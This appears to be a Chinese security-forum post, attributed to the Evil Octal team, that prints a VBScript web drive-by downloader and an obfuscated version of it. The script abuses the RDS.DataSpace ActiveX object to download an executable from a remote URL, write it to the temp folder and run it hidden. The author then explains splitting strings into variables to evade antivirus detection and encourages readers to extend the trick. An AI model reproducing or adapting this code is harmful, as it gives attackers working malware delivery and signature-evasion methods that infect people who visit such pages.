注册
登录
| 关键词： 代码 CODE nbsp 变量 Str 八进制 举一反三 信息 别了 邪恶 |
文章作者：h2k2（_恒 QQ：5454443）信息来源：邪恶八进制信息安全团队请看原始代码 CODE: <script language="VBScript">on error resume nextdl = "[url]http://www.baidu.com/heng.exe[/url]"Set df = document.createElement("object")df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"str="Microsoft.XMLHTTP"Set x = df.CreateObject(str,"")a1="Ado"a2="db."a3="Str"a4="eam"str1=a1&a2&a3&a4str5=str1set S = df.createobject(str5,"")S.type = 1str6="GET"x.Open str6, dl, Falsex.Sendfname1="g0ld.com"set F = df.createobject("Scripting.FileSystemObject","")set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1)S.openS.write x.responseBodyS.savetofile fname1,2S.closeset Q = df.createobject("Shell.Application","")Q.ShellExecute fname1,"","","open",0</script> 请大家看变形后的代码： CODE: <script language="VBScript">on error resume nextxx="object"xxx="classid"xxxx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"xxxxx="Microsoft.XMLHTTP"xxxxxx="GET"xxxxxxx="Scripting.FileSystemObject"xxxxxxxx="Shell.Application"dl = "[url]http://www.baidu.com/heng.exe[/url]"Set df = document.createElement(xx)df.setAttribute xxx, xxxxstr=xxxxxSet x = df.CreateObject(str,"")a1="Ado"a2="db."a3="Str"a4="eam"str1=a1&a2&a3&a4str5=str1set S = df.createobject(str5,"")S.type = 1str6=xxxxxxx.Open str6, dl, Falsex.Sendfname1="g0ld.com"set F = df.createobject(xxxxxxx,"")set tmp = F.GetSpecialFolder(2) fname1= F.BuildPath(tmp,fname1)S.openS.write x.responseBodyS.savetofile fname1,2S.closeset Q = df.createobject(xxxxxxxx,"")Q.ShellExecute fname1,"","","open",0</script> 很容易就发现了，我把“”包含的内容都声明成了变量，然后在代码里直接引用变量就可以了。 CODE: a1="Ado"a2="db."a3="Str"a4="eam"str1=a1&a2&a3&a4 这个还可以变形成这样， CODE: a1="Ado"a2="db."a3="Str"a4="ea"a5="m"str1=a1&a2&a3&a4&a5 发现差别了吗？实际上每个字符都可以这样处理，我懒得整而已呵呵。大家自己举一反三吧。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
